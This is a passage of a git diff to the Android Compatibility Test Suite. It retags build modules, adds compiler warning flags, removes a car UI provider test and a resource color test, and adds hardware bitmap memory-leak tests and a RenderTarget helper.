-    private static final String UI_ENTRY_CLASS_NAME = ".CarUiEntry";
-    private static final String CAR_UI_PROVIDER_PKG = "android.car.ui.provider";
-
-    private static final Map<String, Class<?>[]> COMPATIBILITY_APIS =
-            new HashMap<String, Class<?>[]>();
-
-    static {
-        COMPATIBILITY_APIS.put("onStart", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("onResume", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("onPause", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("onStop", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("getContentView", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("setCarMenuCallbacks", new Class<?>[]{CarMenuCallbacks.class});
-        COMPATIBILITY_APIS.put("getFragmentContainerId", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("setBackground", new Class<?>[]{Bitmap.class});
-        COMPATIBILITY_APIS.put("hideMenuButton", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("restoreMenuDrawable", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("setMenuProgress", new Class<?>[]{float.class});
-        COMPATIBILITY_APIS.put("setScrimColor", new Class<?>[]{int.class});
-        COMPATIBILITY_APIS.put("setTitle", new Class<?>[]{CharSequence.class});
-        COMPATIBILITY_APIS.put("setTitleText", new Class<?>[]{CharSequence.class});
-        COMPATIBILITY_APIS.put("closeDrawer", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("openDrawer", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("showMenu", new Class<?>[]{String.class, String.class});
-        COMPATIBILITY_APIS.put("setMenuButtonColor", new Class<?>[]{int.class});
-        COMPATIBILITY_APIS.put("showTitle", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("hideTitle", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("setLightMode", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("setDarkMode", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("setAutoLightDarkMode", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("onRestoreInstanceState", new Class<?>[]{Bundle.class});
-        COMPATIBILITY_APIS.put("onSaveInstanceState", new Class<?>[]{Bundle.class});
-        COMPATIBILITY_APIS.put("showSearchBox", new Class<?>[]{View.OnClickListener.class});
-        COMPATIBILITY_APIS.put("setSearchBoxEndView", new Class<?>[]{View.class});
-        COMPATIBILITY_APIS.put("getSearchBoxText", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("showToast", new Class<?>[]{String.class, long.class});
-        COMPATIBILITY_APIS.put("stopInput", new Class<?>[]{});
-        COMPATIBILITY_APIS.put("startInput", new Class<?>[]{String.class,
-                View.OnClickListener.class});
-        COMPATIBILITY_APIS.put("setSearchBoxEditListener",
-                new Class<?>[]{SearchBoxEditListener.class});
-        COMPATIBILITY_APIS.put("setSearchBoxColors", new Class<?>[]{int.class, int.class, int.class,
-                int.class});
-    }
-
-    private boolean mIsCar = false;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mIsCar = getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_AUTOMOTIVE
-        );
-    }
-
-    public void testCarUiProvider() throws Exception {
-        if (!mIsCar) {
-            Log.d(TAG, "Bypass CarUiProviderTest on non-automotive devices");
-            return;
-        }
-        checkCompatibilityApi();
-    }
-
-    private void checkCompatibilityApi() {
-        List<String> missingApis = new ArrayList<String>();
-        Class<?> loadedClass = null;
-        try {
-            Context carUiContext = getContext().createPackageContext(
-                    CAR_UI_PROVIDER_PKG,
-                    Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY);
-
-            int flag = getContext().getPackageManager()
-                    .getApplicationInfo(CAR_UI_PROVIDER_PKG, 0).flags;
-            assertEquals(true, (flag & ApplicationInfo.FLAG_SYSTEM) != 0
-                    || (flag & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0);
-
-            ClassLoader classLoader = carUiContext.getClassLoader();
-            loadedClass = classLoader.loadClass(CAR_UI_PROVIDER_PKG + UI_ENTRY_CLASS_NAME);
-        } catch (PackageManager.NameNotFoundException e) {
-            fail("CarUiProvider package does not exsit");
-        } catch (ClassNotFoundException e) {
-            fail("CarUiEntry class not found");
-        }
-
-        if (loadedClass == null) {
-            fail("Fail to load CarUiEntry class");
-        }
-
-        for (Map.Entry<String, Class<?>[]> method : COMPATIBILITY_APIS.entrySet()) {
-            try {
-                loadedClass.getDeclaredMethod(method.getKey(), method.getValue());
-            } catch (NoSuchMethodException e) {
-                missingApis.add(method.getKey());
-            }
-        }
-        assertEquals("Missing the following APIs from CarUiProvider"
-                + Arrays.toString(missingApis.toArray()), 0, missingApis.size());
-    }
-}
diff --git a/tests/tests/carrierapi/Android.mk b/tests/tests/carrierapi/Android.mk
index 298c6ab..f66bfca 100644
--- a/tests/tests/carrierapi/Android.mk
+++ b/tests/tests/carrierapi/Android.mk
@@ -33,7 +33,7 @@
 LOCAL_PACKAGE_NAME := CtsCarrierApiTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_JAVA_LIBRARIES += android.test.runner telephony-common
 
diff --git a/tests/tests/colormode/Android.mk b/tests/tests/colormode/Android.mk
index d187069..f0741aa 100644
--- a/tests/tests/colormode/Android.mk
+++ b/tests/tests/colormode/Android.mk
@@ -24,12 +24,12 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsColorModeTestCases
 
diff --git a/tests/tests/contactsproviderwipe/Android.mk b/tests/tests/contactsproviderwipe/Android.mk
index b7bd687..a4a01b8 100644
--- a/tests/tests/contactsproviderwipe/Android.mk
+++ b/tests/tests/contactsproviderwipe/Android.mk
@@ -30,12 +30,11 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-java-files-under, common/src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_PACKAGE_NAME := CtsContactsProviderWipe
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
index 5d5d025..192c745 100644
--- a/tests/tests/content/Android.mk
+++ b/tests/tests/content/Android.mk
@@ -49,7 +49,7 @@
 LOCAL_PACKAGE_NAME := CtsContentTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index d16f992..92d8963 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Content test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/content/jni/Android.mk b/tests/tests/content/jni/Android.mk
index 4737b35..3b14b6f 100644
--- a/tests/tests/content/jni/Android.mk
+++ b/tests/tests/content/jni/Android.mk
@@ -25,6 +25,8 @@
 
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
 
+LOCAL_CFLAGS := -Wall -Werror -Wno-pointer-arith -Wno-unused-parameter
+
 LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog
 LOCAL_CXX_STL := libc++_static
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/content/src/android/content/cts/IntentTest.java b/tests/tests/content/src/android/content/cts/IntentTest.java
index dbbbe15..af53e56 100644
--- a/tests/tests/content/src/android/content/cts/IntentTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentTest.java
@@ -1148,6 +1148,11 @@
                         .putExtra("int", 1000).putExtra("long", (long) 1000)
                         .putExtra("boolean", true).putExtra("float", 10.4f)
                         .setPackage("com.myapp"));
+        checkIntentUri(
+                "intent://example.org/db?123#Intent;scheme=z39.50r;end",
+                null,
+                new Intent().setAction(Intent.ACTION_VIEW)
+                        .setData(Uri.parse("z39.50r://example.org/db?123")));
     }
 
     private boolean compareIntents(Intent expected, Intent actual) {
diff --git a/tests/tests/database/Android.mk b/tests/tests/database/Android.mk
index 1be93c6..4378dc5 100644
--- a/tests/tests/database/Android.mk
+++ b/tests/tests/database/Android.mk
@@ -35,6 +35,6 @@
 LOCAL_PACKAGE_NAME := CtsDatabaseTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/debug/Android.mk b/tests/tests/debug/Android.mk
index e2164b0..ff2d50f 100644
--- a/tests/tests/debug/Android.mk
+++ b/tests/tests/debug/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
 
diff --git a/tests/tests/debug/AndroidTest.xml b/tests/tests/debug/AndroidTest.xml
index 9c454f1..44e650f 100644
--- a/tests/tests/debug/AndroidTest.xml
+++ b/tests/tests/debug/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Debug test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="devtools" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/debug/libdebugtest/Android.mk b/tests/tests/debug/libdebugtest/Android.mk
index 65c9756..80eb256 100644
--- a/tests/tests/debug/libdebugtest/Android.mk
+++ b/tests/tests/debug/libdebugtest/Android.mk
@@ -22,6 +22,8 @@
 
 LOCAL_MODULE := libdebugtest
 
+LOCAL_CFLAGS := -Wall -Werror
+
 # Don't include this package in any configuration by default.
 LOCAL_MODULE_TAGS := optional
 
diff --git a/tests/tests/debug/libdebugtest/android_debug_cts.cpp b/tests/tests/debug/libdebugtest/android_debug_cts.cpp
index 2c7c967..fb87a28 100644
--- a/tests/tests/debug/libdebugtest/android_debug_cts.cpp
+++ b/tests/tests/debug/libdebugtest/android_debug_cts.cpp
@@ -17,6 +17,7 @@
 #include <jni.h>
 #include <android/log.h>
 
+#include <errno.h>
 #include <sys/ptrace.h>
 #include <sys/types.h>
 #include <sys/uio.h>
diff --git a/tests/tests/display/Android.mk b/tests/tests/display/Android.mk
index 4ad08a3..ab7693c 100644
--- a/tests/tests/display/Android.mk
+++ b/tests/tests/display/Android.mk
@@ -27,10 +27,10 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDisplayTestCases
 
diff --git a/tests/tests/dpi/Android.mk b/tests/tests/dpi/Android.mk
index 963db7a..cfd8165 100644
--- a/tests/tests/dpi/Android.mk
+++ b/tests/tests/dpi/Android.mk
@@ -31,7 +31,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/dpi2/Android.mk b/tests/tests/dpi2/Android.mk
index 6e7c649..3819d01 100644
--- a/tests/tests/dpi2/Android.mk
+++ b/tests/tests/dpi2/Android.mk
@@ -20,6 +20,8 @@
 # We use the DefaultManifestAttributesTest from the android.cts.dpi package.
 LOCAL_STATIC_JAVA_LIBRARIES := android.cts.dpi ctstestrunner junit
 
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_PACKAGE_NAME := CtsDpiTestCases2
@@ -31,6 +33,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/dreams/Android.mk b/tests/tests/dreams/Android.mk
index eb46897..5ae5d85 100644
--- a/tests/tests/dreams/Android.mk
+++ b/tests/tests/dreams/Android.mk
@@ -34,6 +34,6 @@
 #LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/drm/Android.mk b/tests/tests/drm/Android.mk
index d67c048..a915062 100644
--- a/tests/tests/drm/Android.mk
+++ b/tests/tests/drm/Android.mk
@@ -24,12 +24,12 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDrmTestCases
 
diff --git a/tests/tests/drm/jni/Android.mk b/tests/tests/drm/jni/Android.mk
index 87f00a4..113bef8 100644
--- a/tests/tests/drm/jni/Android.mk
+++ b/tests/tests/drm/jni/Android.mk
@@ -30,4 +30,6 @@
 LOCAL_SHARED_LIBRARIES := liblog libdl
 LOCAL_SDK_VERSION := 23
 
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/drm/src/android/drm/cts/DrmInfoTest.java b/tests/tests/drm/src/android/drm/cts/DrmInfoTest.java
index 656df5b..2b42df4 100644
--- a/tests/tests/drm/src/android/drm/cts/DrmInfoTest.java
+++ b/tests/tests/drm/src/android/drm/cts/DrmInfoTest.java
@@ -16,6 +16,7 @@
 
 package android.drm.cts;
 
+import java.util.Arrays;
 import java.util.HashMap;
 import java.util.Iterator;
 import java.util.Collection;
@@ -111,7 +112,7 @@
     private static void checkInvalidData(byte[] data) throws Exception {
         try {
             DrmInfo info = new DrmInfo(DEFAULT_TYPE, data, DEFAULT_MIME);
-            fail("Data " + data + " was accepted for DrmInfo");
+            fail("Data " + Arrays.toString(data) + " was accepted for DrmInfo");
         } catch(IllegalArgumentException e) {
             // Expected and thus intentionally ignored.
         }
diff --git a/tests/tests/effect/Android.mk b/tests/tests/effect/Android.mk
index c347152..bf78071 100644
--- a/tests/tests/effect/Android.mk
+++ b/tests/tests/effect/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/externalservice/Android.mk b/tests/tests/externalservice/Android.mk
index 14e82c5..cc9c518 100644
--- a/tests/tests/externalservice/Android.mk
+++ b/tests/tests/externalservice/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsExternalServiceTestCases
 
diff --git a/tests/tests/externalservice/AndroidTest.xml b/tests/tests/externalservice/AndroidTest.xml
index 7f6a7e5..258b034 100644
--- a/tests/tests/externalservice/AndroidTest.xml
+++ b/tests/tests/externalservice/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS External Service test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/externalservice/service/Android.mk b/tests/tests/externalservice/service/Android.mk
index e99a71d..c2cea8a 100644
--- a/tests/tests/externalservice/service/Android.mk
+++ b/tests/tests/externalservice/service/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsExternalServiceService
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/gesture/Android.mk b/tests/tests/gesture/Android.mk
index 7d71585..3ac8ca3 100755
--- a/tests/tests/gesture/Android.mk
+++ b/tests/tests/gesture/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsGestureTestCases
 
diff --git a/tests/tests/gesture/AndroidTest.xml b/tests/tests/gesture/AndroidTest.xml
index 5169643..5276c29 100644
--- a/tests/tests/gesture/AndroidTest.xml
+++ b/tests/tests/gesture/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Gesture test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/graphics/Android.mk b/tests/tests/graphics/Android.mk
index af59cbf..6ac89fe 100644
--- a/tests/tests/graphics/Android.mk
+++ b/tests/tests/graphics/Android.mk
@@ -38,7 +38,7 @@
 LOCAL_PACKAGE_NAME := CtsGraphicsTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # Enforce public / test api only
 LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index 417dd69..29aefbe4 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -32,12 +32,15 @@
 import android.graphics.ColorSpace;
 import android.graphics.Matrix;
 import android.graphics.Paint;
+import android.os.Debug;
 import android.os.Parcel;
 import android.os.StrictMode;
 import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
 import android.util.DisplayMetrics;
+import android.view.Surface;
 
 import com.android.compatibility.common.util.ColorUtils;
 import com.android.compatibility.common.util.WidgetTestUtils;
@@ -51,6 +54,8 @@
 import java.nio.CharBuffer;
 import java.nio.IntBuffer;
 import java.nio.ShortBuffer;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
@@ -1447,6 +1452,114 @@
         nValidateNdkAccessAfterRecycle(bitmap);
     }
 
+    private void runGcAndFinalizersSync() {
+        final CountDownLatch fence = new CountDownLatch(1);
+        new Object() {
+            @Override
+            protected void finalize() throws Throwable {
+                try {
+                    fence.countDown();
+                } finally {
+                    super.finalize();
+                }
+            }
+        };
+        try {
+            do {
+                Runtime.getRuntime().gc();
+                Runtime.getRuntime().runFinalization();
+            } while (!fence.await(100, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException ex) {
+            throw new RuntimeException(ex);
+        }
+        Runtime.getRuntime().gc();
+    }
+
+    private void assertNotLeaking(int iteration, Debug.MemoryInfo start, Debug.MemoryInfo end) {
+        Debug.getMemoryInfo(end);
+        if (end.getTotalPss() - start.getTotalPss() > 2000 /* kB */) {
+            runGcAndFinalizersSync();
+            Debug.getMemoryInfo(end);
+            if (end.getTotalPss() - start.getTotalPss() > 2000 /* kB */) {
+                // Guarded by if so we don't continually generate garbage for the
+                // assertion string.
+                assertEquals("Memory leaked, iteration=" + iteration,
+                        start.getTotalPss(), end.getTotalPss(),
+                        2000 /* kb */);
+            }
+        }
+    }
+
+    @Test
+    @LargeTest
+    public void testHardwareBitmapNotLeaking() {
+        Debug.MemoryInfo meminfoStart = new Debug.MemoryInfo();
+        Debug.MemoryInfo meminfoEnd = new Debug.MemoryInfo();
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inPreferredConfig = Config.HARDWARE;
+        opts.inScaled = false;
+
+        for (int i = 0; i < 2000; i++) {
+            if (i == 2) {
+                // Not really the "start" but by having done a couple
+                // we've fully initialized any state that may be required,
+                // so memory usage should be stable now
+                runGcAndFinalizersSync();
+                Debug.getMemoryInfo(meminfoStart);
+            }
+            if (i % 100 == 5) {
+                assertNotLeaking(i, meminfoStart, meminfoEnd);
+            }
+            Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, opts);
+            assertNotNull(bitmap);
+            // Make sure nothing messed with the bitmap
+            assertEquals(128, bitmap.getWidth());
+            assertEquals(128, bitmap.getHeight());
+            assertEquals(Config.HARDWARE, bitmap.getConfig());
+            bitmap.recycle();
+        }
+
+        assertNotLeaking(2000, meminfoStart, meminfoEnd);
+    }
+
+    @Test
+    @LargeTest
+    public void testDrawingHardwareBitmapNotLeaking() {
+        Debug.MemoryInfo meminfoStart = new Debug.MemoryInfo();
+        Debug.MemoryInfo meminfoEnd = new Debug.MemoryInfo();
+        BitmapFactory.Options opts = new BitmapFactory.Options();
+        opts.inPreferredConfig = Config.HARDWARE;
+        opts.inScaled = false;
+        RenderTarget renderTarget = RenderTarget.create();
+        renderTarget.setDefaultSize(128, 128);
+        final Surface surface = renderTarget.getSurface();
+
+        for (int i = 0; i < 2000; i++) {
+            if (i == 2) {
+                // Not really the "start" but by having done a couple
+                // we've fully initialized any state that may be required,
+                // so memory usage should be stable now
+                runGcAndFinalizersSync();
+                Debug.getMemoryInfo(meminfoStart);
+            }
+            if (i % 100 == 5) {
+                assertNotLeaking(i, meminfoStart, meminfoEnd);
+            }
+            Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, opts);
+            assertNotNull(bitmap);
+            // Make sure nothing messed with the bitmap
+            assertEquals(128, bitmap.getWidth());
+            assertEquals(128, bitmap.getHeight());
+            assertEquals(Config.HARDWARE, bitmap.getConfig());
+            Canvas canvas = surface.lockHardwareCanvas();
+            canvas.drawBitmap(bitmap, 0, 0, null);
+            surface.unlockCanvasAndPost(canvas);
+            bitmap.recycle();
+        }
+
+        assertNotLeaking(2000, meminfoStart, meminfoEnd);
+    }
+
     private void strictModeTest(Runnable runnable) {
         StrictMode.ThreadPolicy originalPolicy = StrictMode.getThreadPolicy();
         StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
index a00c45e..4801a1a 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
@@ -15,111 +15,18 @@
  */
 package android.graphics.cts;
 
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
-
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
 
-import android.content.res.Resources;
 import android.graphics.Color;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
-import android.util.TypedValue;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.util.Arrays;
-import java.util.List;
-
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class ColorTest {
-
-    @Test
-    public void resourceColor() {
-        int colors [][] = {
-                { 0xff000000, android.R.color.background_dark  },
-                { 0xffffffff, android.R.color.background_light },
-                { 0xff000000, android.R.color.black },
-                { 0xffaaaaaa, android.R.color.darker_gray },
-                { 0xff00ddff, android.R.color.holo_blue_bright },
-                { 0xff0099cc, android.R.color.holo_blue_dark },
-                { 0xff33b5e5, android.R.color.holo_blue_light },
-                { 0xff669900, android.R.color.holo_green_dark },
-                { 0xff99cc00, android.R.color.holo_green_light },
-                { 0xffff8800, android.R.color.holo_orange_dark },
-                { 0xffffbb33, android.R.color.holo_orange_light },
-                { 0xffaa66cc, android.R.color.holo_purple },
-                { 0xffcc0000, android.R.color.holo_red_dark },
-                { 0xffff4444, android.R.color.holo_red_light },
-                { 0xffffffff, android.R.color.primary_text_dark },
-                { 0xffffffff, android.R.color.primary_text_dark_nodisable },
-                { 0xff000000, android.R.color.primary_text_light },
-                { 0xff000000, android.R.color.primary_text_light_nodisable },
-                { 0xffbebebe, android.R.color.secondary_text_dark },
-                { 0xffbebebe, android.R.color.secondary_text_dark_nodisable },
-                { 0xff323232, android.R.color.secondary_text_light },
-                { 0xffbebebe, android.R.color.secondary_text_light_nodisable },
-                { 0xff808080, android.R.color.tab_indicator_text },
-                { 0xff808080, android.R.color.tertiary_text_dark },
-                { 0xff808080, android.R.color.tertiary_text_light },
-                { 0x00000000, android.R.color.transparent },
-                { 0xffffffff, android.R.color.white },
-                { 0xff000000, android.R.color.widget_edittext_dark },
-        };
-
-        List<Integer> expectedColorStateLists = Arrays.asList(
-                android.R.color.primary_text_dark,
-                android.R.color.primary_text_dark_nodisable,
-                android.R.color.primary_text_light,
-                android.R.color.primary_text_light_nodisable,
-                android.R.color.secondary_text_dark,
-                android.R.color.secondary_text_dark_nodisable,
-                android.R.color.secondary_text_light,
-                android.R.color.secondary_text_light_nodisable,
-                android.R.color.tab_indicator_text,
-                android.R.color.tertiary_text_dark,
-                android.R.color.tertiary_text_light,
-                android.R.color.widget_edittext_dark
-        );
-
-        Resources resources = getInstrumentation().getTargetContext().getResources();
-        for (int[] pair : colors) {
-            final int resourceId = pair[1];
-            final int expectedColor = pair[0];
-
-            // validate color from getColor
-            int observedColor = resources.getColor(resourceId, null);
-            assertEquals("Color = " + Integer.toHexString(observedColor) + ", "
-                            + Integer.toHexString(expectedColor) + " expected",
-                    expectedColor,
-                    observedColor);
-
-            // validate color from getValue
-            TypedValue value = new TypedValue();
-            resources.getValue(resourceId, value, true);
-
-            // colors shouldn't depend on config changes
-            assertEquals(0, value.changingConfigurations);
-
-            if (expectedColorStateLists.contains(resourceId)) {
-                // ColorStateLists are strings
-                assertEquals("CSLs should be strings", TypedValue.TYPE_STRING, value.type);
-            } else {
-                // colors should be raw ints
-                assertTrue("Type should be int",
-                        value.type >= TypedValue.TYPE_FIRST_INT && value.type <= TypedValue.TYPE_LAST_INT);
-
-                // Validate color from getValue
-                assertEquals("Color should be expected value", expectedColor, value.data);
-            }
-        }
-        assertEquals("Test no longer in sync with colors in android.R.color",
-                colors.length,
-                android.R.color.class.getDeclaredFields().length);
-    }
-
     @Test
     public void testAlpha() {
         assertEquals(0xff, Color.alpha(Color.RED));
diff --git a/tests/tests/graphics/src/android/graphics/cts/RenderTarget.java b/tests/tests/graphics/src/android/graphics/cts/RenderTarget.java
new file mode 100644
index 0000000..185dbef
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/RenderTarget.java
@@ -0,0 +1,214 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.graphics.cts;
+
+import static android.opengl.EGL14.EGL_ALPHA_SIZE;
+import static android.opengl.EGL14.EGL_BLUE_SIZE;
+import static android.opengl.EGL14.EGL_CONFIG_CAVEAT;
+import static android.opengl.EGL14.EGL_CONTEXT_CLIENT_VERSION;
+import static android.opengl.EGL14.EGL_DEFAULT_DISPLAY;
+import static android.opengl.EGL14.EGL_DEPTH_SIZE;
+import static android.opengl.EGL14.EGL_GREEN_SIZE;
+import static android.opengl.EGL14.EGL_HEIGHT;
+import static android.opengl.EGL14.EGL_NONE;
+import static android.opengl.EGL14.EGL_NO_CONTEXT;
+import static android.opengl.EGL14.EGL_OPENGL_ES2_BIT;
+import static android.opengl.EGL14.EGL_RED_SIZE;
+import static android.opengl.EGL14.EGL_RENDERABLE_TYPE;
+import static android.opengl.EGL14.EGL_SURFACE_TYPE;
+import static android.opengl.EGL14.EGL_WIDTH;
